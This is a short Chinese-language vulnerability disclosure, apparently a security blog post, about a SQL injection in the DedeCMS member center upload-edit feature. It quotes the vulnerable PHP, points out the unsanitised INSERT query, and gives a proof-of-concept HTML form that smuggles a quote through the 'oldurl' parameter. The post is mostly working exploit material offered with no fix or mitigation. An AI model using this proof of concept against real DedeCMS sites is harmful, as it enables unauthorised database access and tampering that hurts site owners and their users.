Dedecms 会员中心注入漏洞7

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所属分类:漏洞时代
摘要

[php][/php][php] [/php] 


漏洞作者: Matt

[php]

member/upload_edit.php else if($dopost=='save') {     $title = HtmlReplace($title,2);     if($mediatype==1) $utype = 'image';     else if($mediatype==2)     {         $utype = 'flash';     }     else if($mediatype==3)     {         $utype = 'media';     }     else     {         $utype = 'addon';     }     $title = HtmlReplace($title, 2);     $exname = preg_replace("#(.*)/#", "", $oldurl);// 文件名是获取.前面的     $exname = preg_replace("#/.(.*)$#", "", $exname);  echo $exname ;     $filename = MemberUploads('addonfile', $oldurl, $cfg_ml->M_ID,   $utype,$exname, -1, -1, TRUE);//返回上传的文件名     SaveUploadInfo($title, $filename, $mediatype);//利用返回的带入查询     ShowMsg("成功修改文件!", "uploads_edit.php?aid=$aid"); }    function SaveUploadInfo($title,$filename,$medaitype=1,$addinfos='') {     global $dsql,$cfg_ml,$cfg_basedir;     if($filename=='')     {         return FALSE;     }     if(!is_array($addinfos))     {         $addinfos[0] = $addinfos[1] = $addinfos[2] = 0;     }     if($medaitype==1)     {         $info = '';         $addinfos = GetImageSize($cfg_basedir.$filename,$info);     }     $addinfos[2] = @filesize($cfg_basedir.$filename);     $row = $dsql->GetOne("SELECT aid,title,url FROM `#@__uploads` WHERE url   LIKE '$filename' AND mid='".$cfg_ml->M_ID."'; ");     $uptime = time();     if(is_array($row))     {         $query = "UPDATE `#@__uploads` SET   title='$title',mediatype='$medaitype',                      width='{$addinfos[0]}',height='{$addinfos  [1]}',filesize='{$addinfos[2]}',uptime='$uptime'                      WHERE aid='{$row['aid']}'; ";         $dsql->ExecuteNoneQuery($query);     }     else     {         $inquery = "INSERT INTO `#@__uploads`  (title,url,mediatype,width,height,playtime,filesize,uptime,mid)            VALUES ('$title','$filename','$medaitype','".$addinfos  [0]."','".$addinfos[1]."','0','".$addinfos[2]."','$uptime','".$cfg_ml-  >M_ID."'); ";echo $inquery ;//注入就在这里发生了!         $dsql->ExecuteNoneQuery($inquery);     }     $fid = $dsql->GetLastID();     AddMyAddon($fid, $filename);     return TRUE; }

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漏洞证明:

利用方法

[php]

 

<form id="frmUpload" enctype="multipart/form-data"   action="http://127.0.0.1/dede/member/uploads_edit.php?  dopost=save&title=ss&oldurl=1'.php" method="post">看Oldurl就知道了~   <input type="file" name="addonfile" id="addonfile" size="50"><br> <input name="mode" type="hidden" value="2">  <input id="btnUpload" type="submit" value="Upload">  </form>

[/php]

 

Dedecms 会员中心注入漏洞7

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